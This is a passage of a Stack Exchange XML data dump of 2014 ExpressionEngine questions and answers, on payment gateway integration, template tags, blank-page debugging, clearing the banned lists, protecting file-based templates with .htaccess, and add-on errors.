with 2 main sites and 5 subdomains" Tags="|multiple-sites|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23835" PostTypeId="2" ParentId="23832" CreationDate="2014-06-20T14:57:22.523" Score="2" Body="&lt;p&gt;I am not familiar with the PayU API but it shouldn't be a problem if their API allows on-site integration of Discovery Miles. You will just need to write a custom gateway that handles it based upon their API. Store's gateways are built on top of Omnipay ( &lt;a href=&quot;https://github.com/omnipay/omnipay&quot; rel=&quot;nofollow&quot;&gt;https://github.com/omnipay/omnipay&lt;/a&gt; ) and you should be able to look at the include gateways as examples to get a good starting point. If you aren't comfortable with php I know that the team at Exp:resso also does custom gateway development.&lt;/p&gt;&#xA;" OwnerUserId="115" LastEditorUserId="28" LastEditDate="2014-06-20T15:36:47.973" LastActivityDate="2014-06-20T15:36:47.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23836" PostTypeId="2" ParentId="23804" CreationDate="2014-06-20T15:00:49.237" Score="3" Body="&lt;p&gt;You should be able to add a field for the coupon code into your existing HTML form for the checkout then just include an update cart button next to the coupon code input. &lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2014-06-20T15:00:49.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23837" PostTypeId="1" AcceptedAnswerId="23872" CreationDate="2014-06-20T15:23:29.690" Score="1" ViewCount="279" Body="&lt;p&gt;I am trying to integrate a payment gateway (PayU) to an ExpressionEngine2 website. I have created the payment gateway extension and believe I have the required code to execute the payment. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I do the checkout and I reach the credit card payment stage and clicking on 'Pay', I get the following error: &lt;code&gt;Fatal error: Class 'Omnipay\PayU\Message\SoapVar' not found in C:\wamp\www\flook\trunk\backend\expressionengine\third_party\store_payu\Omnipay\PayU\Message\PurchaseRequest.php on line 182&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also tried to use the SimpleXMLElement() object in php, but get the same error (SimpleXMLElement not found in...). It's as if objects may not be used within this PurchaseRequest class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have activated the php_soap extension in my wamp server and restarted it, but still get the same error. Is there perhaps something else I am missing?&lt;/p&gt;&#xA;" OwnerUserId="3170" LastActivityDate="2014-06-23T06:43:50.880" Title="SoapVars Not Found In Payment Gateway" Tags="|expresso-store|ee2|php-errors|payment-gateway|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23838" PostTypeId="2" ParentId="23831" CreationDate="2014-06-20T15:44:38.360" Score="1" Body="&lt;p&gt;Your question doesn't say &quot;what&quot; isn't working so I'm going to add here what &quot;should&quot; work without knowing the extent of what you're doing.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:categories channel=&quot;product&quot; category_group=&quot;1&quot; style=&quot;linear&quot; parent_only=&quot;yes&quot; show=&quot;{embed:prod_cat}&quot; show_empty=&quot;no&quot;}&#xA;    {if category_id == &quot;1&quot;}&#xA;        Image group 1 &#xA;    {/if}&#xA;    {if category_id == &quot;2&quot;}&#xA;        Image group 2 &#xA;    {/if}&#xA;{/exp:channel:categories} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since you have the parameter &lt;code&gt;show_empty=&quot;no&quot;&lt;/code&gt; set, categories without entries shouldn't be returned. &lt;code&gt;{if category_id == &quot;1&quot;}&lt;/code&gt; then controls which image shows for the category ID.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If results are not returning correctly, it's possible the &lt;code&gt;show=&quot;{embed:prod_cat}&quot;&lt;/code&gt; parameter is causing your problems.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2014-06-20T15:44:38.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23839" PostTypeId="2" ParentId="23829" CreationDate="2014-06-20T15:47:10.020" Score="1" Body="&lt;p&gt;A white page in EE pretty much always means a PHP error that is being suppressed.&lt;/p&gt;&#xA;&lt;p&gt;Here are details from the EE docs on how to troubleshoot blank pages:&lt;br /&gt;&#xA;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/troubleshooting/general/blank_pages.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://ellislab.com/expressionengine/user-guide/troubleshooting/general/blank_pages.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Follow these instructions until you are able to see the error&#xA;message(s) being output by your server:&lt;/p&gt;&#xA;&lt;p&gt;Open your site’s main index.php file and under the Error Reporting section change:&lt;/p&gt;&#xA;&lt;p&gt;$debug = 0;&lt;/p&gt;&#xA;&lt;p&gt;to:&lt;/p&gt;&#xA;&lt;p&gt;$debug = 1;&lt;/p&gt;&#xA;&lt;p&gt;Go to Admin ‣ System Administration ‣ Output and Debugging and ensure that Debug Preference is set to 1: PHP/SQL error messages shown&#xA;only to Super Admins.&lt;/p&gt;&#xA;&lt;p&gt;Go to Tools ‣ Utilities ‣ PHP Info and search the page for “display_errors”. Ensure it is set to On under the Local column. If it&#xA;is not, your host can help change this setting for you.&lt;/p&gt;&#xA;&lt;p&gt;Check your server’s error logs or contact your host to assist you in cases where errors are being output to logs and not to the screen.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="28" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2014-06-20T15:47:10.020" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23840" PostTypeId="2" ParentId="23815" CreationDate="2014-06-20T16:18:58.860" Score="3" Body="&lt;p&gt;The &quot;This site is currently unavailable&quot; error suggests to me the IP addresses or usernames or something has been added to the &quot;banned&quot; list. This is how you check and fix this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;---------&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt; BEFORE YOU PROCEED... BACK UP YOUR DATABASE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;---------&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt; THEN BACK THE DATABASE UP AGAIN&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;=============================&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Go into the exp_sites table in the database&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Copy the serialized content from site_system_preferences onto your clipboard&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Go to &lt;a href=&quot;http://blog.tanist.co.uk/files/unserialize/index.php&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Online PHP Unserializer&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Paste the contents of your clipboard into the &quot;Unserializer input&quot; field on the left&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Check the &quot;base64 decode (top level)&quot; box that is at the bottom right of that field&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Click &quot;Unserialize&quot; button&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Scroll down to see the &quot;Re-serializer input&quot; fields.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Check the contents of these items:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;[banned_ips] =&gt;&lt;/li&gt;&#xA;&lt;li&gt;[banned_emails] =&gt;&lt;/li&gt;&#xA;&lt;li&gt;[banned_usernames] =&gt;&lt;/li&gt;&#xA;&lt;li&gt;[banned_screen_names] =&gt; &lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Remove anything in the right column of those 4 fields&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Click &quot;Re-serialize&quot; button&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Copy the contents of the &quot;Re-serializer output&quot; field to your clipboard&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Go into the exp_sites table in the database&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Remove the contents of site_system_preferences and paste the serialized content from your clipboard&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Save the data&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2014-06-20T16:35:55.360" LastActivityDate="2014-06-20T16:35:55.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23841" PostTypeId="2" ParentId="23813" CreationDate="2014-06-20T16:29:56.297" Score="0" Body="&lt;p&gt;I'd say the answer is no based on this blog post about the addition of that Recent Uploads functionality: &lt;a href=&quot;http://pixelandtonic.com/blog/assets-2.2&quot; rel=&quot;nofollow&quot;&gt;http://pixelandtonic.com/blog/assets-2.2&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Now with Assets 2.2, &lt;strong&gt;you’re always taken to the Recent Uploads&lt;/strong&gt; source&#xA;  immediately after uploading files, where we can be sure that your file&#xA;  will be visible.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This talks about being taken to Recent Uploads after upload a file which is a little different from your question, but it seems they would have made that universal and so it would also happen when clicking through from an entry.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2014-06-20T16:29:56.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23842" PostTypeId="1" AcceptedAnswerId="23843" CreationDate="2014-06-20T16:30:38.830" Score="4" ViewCount="220" Body="&lt;p&gt;I've just discovered that all of the templates I'm saving to the filesystem are accessible through the browser if the name is known, and now I've got a case of the screamin' heebie jeebies. &#xA;For example, if I have a template-group/template arrangement such that the URL &lt;a href=&quot;http://mysite.tld/news/recent&quot; rel=&quot;nofollow&quot;&gt;http://mysite.tld/news/recent&lt;/a&gt; delivers content, then when I point my browser at &#xA;&lt;a href=&quot;http://mysite.tld/templates/default_site/news.group/recent.html&quot; rel=&quot;nofollow&quot;&gt;http://mysite.tld/templates/default_site/news.group/recent.html&lt;/a&gt;&#xA;I'm then presented with all my raw template code. &#xA;Is this expected behaviour and if so why? Is there a native EE way to stop this from happening, or is it best practice to use rewrite rules at the web server?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd really like to hear from some of you on how you've dealt with this problem in your own sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks in advance,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Andy&lt;/p&gt;&#xA;" OwnerUserId="1922" LastActivityDate="2014-06-20T19:00:31.863" Title="What is best practice for protecting templates saved as files?" Tags="|templates|security|template-scripting|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23843" PostTypeId="2" ParentId="23842" CreationDate="2014-06-20T16:42:40.937" Score="5" Body="&lt;p&gt;It looks like you moved your templates folder to outside the system folder. Since you already did it, why not move it to above the web root?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just remember to update the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/design/templates/global_template_preferences.html#server-path-to-site-s-templates&quot; rel=&quot;nofollow&quot;&gt;related settings&lt;/a&gt;.&lt;br&gt;&#xA;&lt;em&gt;(see &quot;Server path to site’s templates&quot; at the bottom of the page)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To keep all &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/installation/best_practices.html#moving-the-system-directory-above-webroot&quot; rel=&quot;nofollow&quot;&gt;system files above the web root&lt;/a&gt; is good practice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Alternatively...&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If for some reason you don't want to or can not move above web root, another solution is to put a &lt;code&gt;.htaccess&lt;/code&gt; file in your templates directory with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;deny from all&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will prevent direct access to the templates at URLs like &lt;code&gt;http://example.com/templates/default_site/news.group/index.html&lt;/code&gt;, but ExpressionEngine will still be able to load the template just fine at &lt;code&gt;http://example.com/news&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="343" LastEditorUserId="22" LastEditDate="2014-06-20T19:00:31.863" LastActivityDate="2014-06-20T19:00:31.863" CommentCount="1" CommunityOwnedDate="2014-06-20T18:59:59.697" ContentLicense="CC BY-SA 3.0" />
  <row Id="23845" PostTypeId="1" CreationDate="2014-06-20T17:30:02.447" Score="1" ViewCount="24" Body="&lt;p&gt;I want to give my form a name but it's not appearing&lt;/p&gt;&#xA;&#xA;&lt;p&gt;something like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:form &#xA;&#xA;   name='myform'&#xA;&#xA;   collection=&quot;&quot;&#xA;   required=&quot;&#xA;   return=&quot;&quot;&#xA;   template=&quot;&quot;&#xA;   send_user_email=&quot;no&quot;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;gives&#xA; &#xA;but not a string with name='myform'&lt;/p&gt;&#xA;" OwnerUserId="3263" LastEditorUserId="197" LastEditDate="2014-06-20T17:31:40.350" LastActivityDate="2014-06-20T17:32:38.767" Title="freeform: give freeform a name" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23846" PostTypeId="2" ParentId="23845" CreationDate="2014-06-20T17:32:38.767" Score="1" Body="&lt;p&gt;I believe the appropriate syntax is &lt;code&gt;form:name='myform'&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks like you're using an older version of Freeform (since you're using the collection parameter), so you may need to dig up the docs for that version, or update.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2014-06-20T17:32:38.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23847" PostTypeId="2" ParentId="23804" CreationDate="2014-06-20T19:07:47.397" Score="4" Body="&lt;p&gt;Follow Justin's good advice for coupon redemption using the built-in Store functionality. See &lt;a href=&quot;https://exp-resso.com/docs/checkout_tag.html#update_cart&quot; rel=&quot;nofollow&quot;&gt;Update Cart&lt;/a&gt; on the Checkout Tag Docs. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How would I be able to include this form and then link the 'Redeem'&#xA;  button to a function that I already have in my module?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Then along &lt;em&gt;with&lt;/em&gt; using the native update cart function you can run your own method when a coupon is redeemed by putting your method in an &lt;em&gt;extension&lt;/em&gt; that uses one of Store's Hooks. See Store's &lt;a href=&quot;https://exp-resso.com/docs/extension_hooks.html#order_update_hooks&quot; rel=&quot;nofollow&quot;&gt;Order Update Hooks.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2014-06-20T19:35:40.077" LastActivityDate="2014-06-20T19:35:40.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23848" PostTypeId="1" CreationDate="2014-06-20T19:22:35.103" Score="1" ViewCount="147" Body="&lt;p&gt;I'm trying to build some filtering into my store listing. The standard 'low to high' and 'high to low' kind of thing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dynamic Parameters seemed like a good option&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/channel/dynamic_parameters.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/add-ons/channel/dynamic_parameters.html&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;By using $_GET variables, I'm able to control the &lt;code&gt;sort&lt;/code&gt; &amp;amp; &lt;code&gt;orderby&lt;/code&gt; parameters. However, when I set &lt;code&gt;?orderby=price&lt;/code&gt; on my url, the filtering doesn't work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;?orderby=title&lt;/code&gt; works. &lt;code&gt;?sort=asc/desc&lt;/code&gt; works. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Price seems to be the only thing that doesn't. I'm wondering if this is a bug. Since the &lt;code&gt;{exp:store:search}&lt;/code&gt; tag augments the native entries tag, maybe something is getting lost in translation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is an abstract of my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:search&#xA;  channel=&quot;shop&quot;&#xA;  limit=&quot;12&quot;&#xA;  dynamic_parameters=&quot;orderby|sort&quot;&#xA;  dynamic=&quot;yes&quot;&#xA;  paginate=&quot;bottom&quot;&#xA;  show_future_entries=&quot;yes&quot;}&#xA;&#xA;  &amp;lt; Markup in here &amp;gt;&#xA;&#xA;{/exp:store:search}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3002" LastActivityDate="2017-05-06T19:57:44.620" Title="Orderby price doesn't work with dynamic parameters - {exp:store:search}" Tags="|expresso-store|expresso|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23849" PostTypeId="1" AcceptedAnswerId="23859" CreationDate="2014-06-20T20:11:09.790" Score="0" ViewCount="65" Body="&lt;p&gt;I'm using Freeform Pro and added a new form through the Composer, and then added the new form to a channel entry. After saving the channel entry, the form appears in the preview in the backend. However, when viewing the live site, the form does not appear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing a step in the implementation that would cause this not to appear?&lt;/p&gt;&#xA;" OwnerUserId="3266" LastEditorUserId="3266" LastEditDate="2014-06-21T18:49:05.287" LastActivityDate="2014-06-21T18:49:05.287" Title="Freeform Pro form not appearing in channel entry" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23850" PostTypeId="1" CreationDate="2014-06-20T20:32:02.243" Score="1" ViewCount="58" Body="&lt;p&gt;Perhaps someone can help me find out why this is happening and how to fix it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have an add-on for EE 2.7.0 (CartThrob v 2.3.9) that we're using for orders. Once an order successfully goes through the payment gateway, it should show an order confirmation page (and has in the past). However, now it &quot;appears&quot; blank, because the source code shows that some styling is being added automatically to the body tag so that the opacity is zero (0)- rendering it invisible. If I change the styling in the &quot;Inspect Element&quot; mode of my browser so that I can see what is being hidden, I see all the correct order information and exactly what it should look like if it would only display. The order goes into EE just fine, sends out a confirmation email great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This pseudo blank confirmation page happens whether I'm logged in as a Super Admin or not. When errors are turned on, there are no PHP errors or even notices. In my settings, &quot;User Must Be Logged In&quot; is set to &quot;No&quot;. Session Expires in 18000 seconds. Clear Cart on Logout/Session is No. It does use Fingerprinting for sessions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I refresh the page, the invisible information is still there, so I don't think it's clearing the cart or the session at that point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help or insight is greatly appreciated!&lt;/p&gt;&#xA;" OwnerUserId="2750" LastEditorUserId="2750" LastEditDate="2014-06-20T20:40:43.907" LastActivityDate="2014-06-20T20:40:43.907" Title="Blank Order Confirmation Page with Invisible Order Data" Tags="|cartthrob|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23852" PostTypeId="1" CreationDate="2014-06-21T01:53:54.323" Score="1" ViewCount="81" Body="&lt;p&gt;I have Super Search installed and running on my Expression Engine v2.8.1 install the search functionality is working fine except for when it returns the results the relationship field does not display the relevant information it return the field tag instead &lt;code&gt;{state}&lt;/code&gt;. is there something that i am missing when it comes to displaying relationship field in the results?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:super_search:results orderby=&quot;date&quot; paginate=&quot;bottom&quot; limit=&quot;4&quot; channel=&quot;properties&quot;}&#xA;    &amp;lt;p&amp;gt;{state:abbreviation}&amp;lt;/p&amp;gt;&#xA;{/exp:super_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Cheers,&lt;/p&gt;&#xA;" OwnerUserId="3267" LastEditorUserId="343" LastEditDate="2014-06-22T15:53:41.280" LastActivityDate="2014-06-22T15:53:41.280" Title="Solspace Super Search - Results relationship field" Tags="|solspace|relationships|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="23853" PostTypeId="2" ParentId="7205" CreationDate="2014-06-21T02:38:34.003" Score="0" Body="&lt;p&gt;If the CSS file isn't being parsed by EECMS, using the &lt;code&gt;path&lt;/code&gt; variable, you can't use variables or snippets on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This &lt;strong&gt;isn't&lt;/strong&gt; an EECMS issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the image directory isn't a sibling of your CSS directory (&lt;code&gt;/assets/styles&lt;/code&gt;), but a sibling of its parent (&lt;code&gt;/assets&lt;/code&gt;), you need to go up to levels on your image paths.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#selector{ background:url(../../images/front/top-pattern.png); }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first &lt;code&gt;../&lt;/code&gt; goes up to the &lt;code&gt;assets&lt;/code&gt; folder. The second goes one level up, to the &lt;code&gt;root&lt;/code&gt; folder. Just then you can go down to the &lt;code&gt;images&lt;/code&gt; folder.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2014-06-21T02:38:34.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23854" PostTypeId="2" ParentId="23811" CreationDate="2014-06-21T04:32:58.797" Score="0" Body="&lt;p&gt;Importer has the ability to delete an entry when a match is found (using the duplicate entry detection feature), but unfortunately it's not possible to delete entries where a match &lt;em&gt;wasn't&lt;/em&gt; found. What would therefore need to be done is delete (or close, or expire) entries before importing new ones. Unfortunately Importer doesn't have a feature to clear channels of entries before imports. You would have to do this manually before running the import.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recommend submitting this as a Feature Request under the specific add-on category. It'll also give other users the option to vote up the feature request, and help us prioritize features to add in upcoming versions of this add-on.&#xA;&lt;a href=&quot;http://support.solspace.com/support/discussions&quot; rel=&quot;nofollow&quot;&gt;http://support.solspace.com/support/discussions&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-06-21T04:32:58.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23855" PostTypeId="2" ParentId="23744" CreationDate="2014-06-21T04:47:02.193" Score="0" Body="&lt;p&gt;Sounds like a viable solution, yes. You would likely use &lt;code&gt;{exp:user:users}&lt;/code&gt; to list your members, and display only those under a provided category_id (which is the category_id assigned to your manager account user) in the &lt;code&gt;category=&quot;&quot;&lt;/code&gt; parameter: &lt;a href=&quot;http://www.solspace.com/docs/user/users/#category&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/user/users/#category&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-06-21T04:47:02.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23856" PostTypeId="2" ParentId="23655" CreationDate="2014-06-21T13:06:35.047" Score="0" Body="&lt;p&gt;I misspelt Omnipay (Onmipay) in my extension. Watch your spelling guys! Stupid mistake by me!&lt;/p&gt;&#xA;" OwnerUserId="3170" LastActivityDate="2014-06-21T13:06:35.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23857" PostTypeId="1" AcceptedAnswerId="23884" CreationDate="2014-06-21T16:27:42.610" Score="0" ViewCount="108" Body="&lt;p&gt;I have a client with an older EE (2.1.1) running Calendar 1.5.3. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;They want an event list by day that doesn't display days with no events. I'm using this code at present: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:cal date_range_start=&quot;today&quot; show_days=&quot;30&quot; pad_short_weeks=&quot;n&quot;} &#xA; {display_each_day}&#xA;  &amp;lt;div class=&quot;day_list&quot;&amp;gt;&#xA;   &amp;lt;h3 class=&quot;day&quot;&amp;gt;{day format=&quot;%l, %F %j&quot;}&amp;lt;/h3&amp;gt;&#xA;   {if day_event_total == 0}&amp;lt;p&amp;gt;No Events&amp;lt;/p&amp;gt;{/if}&#xA;    {events}&#xA;     &amp;lt;p&amp;gt;&amp;lt;a class=&quot;event_name&quot; href=&quot;#&quot;&amp;gt;{event_title}&amp;lt;/a&amp;gt; {event_start_date format=&quot;%g:%i %a&quot;} - {event_end_date format=&quot;%g:%i%a&quot;}&amp;lt;/p&amp;gt;&#xA;    {/events}&#xA;  &amp;lt;/div&amp;gt;&#xA; {/display_each_day}&#xA;{/exp:calendar:cal} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which essentially works aside from the fact that of course all days with no events display with the message. They're reasoning that there's no need to show a day if there's no event. Is there a way to do this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;MANY thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="1007" LastActivityDate="2014-06-23T12:23:27.670" Title="Solspace Calendar; list events by day but suppress output of days with no events" Tags="|solspace-calendar|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23858" PostTypeId="2" ParentId="23834" CreationDate="2014-06-21T18:26:51.047" Score="1" Body="&lt;p&gt;The answer is in understanding how MSM works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;MSM doesn't really care what you call your sites, www.domain.com or something.domain.com so technically there are no &quot;main&quot; sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you look at a typical folder structure for an MSM setup you may have in the root folder:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;index.php (usually the site that EE is installed in, eg www.mysite.com)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/site2/index.php (an MSM site with full domain mapping, eg www.site2.com)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/site3/index.php (an MSM site with subdomain mapping, eg site3.mysite.com)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/site4/index.php (an MSM site with subdomain mapping, eg site4.mysite.com)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/site5/index.php (an MSM site with subdomain mapping, eg site5.mysite.com)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/site6/index.php (an MSM site with subdomain mapping, eg site6.mysite.com)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/site7/index.php (an MSM site with subdomain mapping, eg site7.mysite.com)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does that help?&lt;/p&gt;&#xA;" OwnerUserId="1029" LastActivityDate="2014-06-21T18:26:51.047" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23859" PostTypeId="2" ParentId="23849" CreationDate="2014-06-21T18:48:46.957" Score="0" Body="&lt;p&gt;Re-reading the documentation, I was able to get this working using the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries}{general-contact}{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;{general-contact} is the Freeform channel field short name.&lt;/p&gt;&#xA;" OwnerUserId="3266" LastActivityDate="2014-06-21T18:48:46.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23860" PostTypeId="1" AcceptedAnswerId="24022" CreationDate="2014-06-21T23:02:50.867" Score="1" ViewCount="180" Body="&lt;p&gt;I'm trying to use &lt;a href=&quot;http://devot-ee.com/add-ons/rest&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/rest&lt;/a&gt;. In a few of my pages, I am getting this error when I enable debug mode:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A PHP Error was encountered&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Severity: Warning&#xA;Message: strtotime() expects parameter 1 to be string, array given&#xA;Filename: rest/pi.rest.php&#xA;Line Number: 351&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The relevant part of the code in &lt;code&gt;pi.rest.php&lt;/code&gt; is this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Format dates to unix timestamps&#xA;elseif (isset($this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;date_vars[$index]) and ! is_numeric($child))&#xA;{&#xA;    $child = strtotime($child);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tried outputting the value of &lt;code&gt;$child&lt;/code&gt; before the &lt;code&gt;strtotime&lt;/code&gt; call, and I see:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;array(1) { [&quot;profile_name&quot;]=&amp;gt; string(18) &quot;John Doe&quot; }&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The output is the array representation of the JSON string I expect to be returned to me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas what be causing my 